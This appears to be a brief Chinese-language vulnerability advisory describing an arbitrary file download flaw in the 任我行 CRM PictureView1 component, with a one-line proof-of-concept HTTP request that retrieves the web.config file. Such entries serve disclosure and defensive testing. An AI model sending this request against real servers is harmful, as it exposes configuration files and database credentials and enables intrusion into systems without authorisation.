Description
【漏洞对象】任我行crm 【涉及版本】PictureView1 【漏洞描述】任我行crm任意文件下载，可下载系统、数据库配置文件，可以导致黑客顺利进入数据库或者系统的敏感信息。导致网站或者服务器沦陷。
任我行crm PictureView1-任意文件下载
PoC
GET /Common/PictureView1/?picurl=/web.config HTTP/1.1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.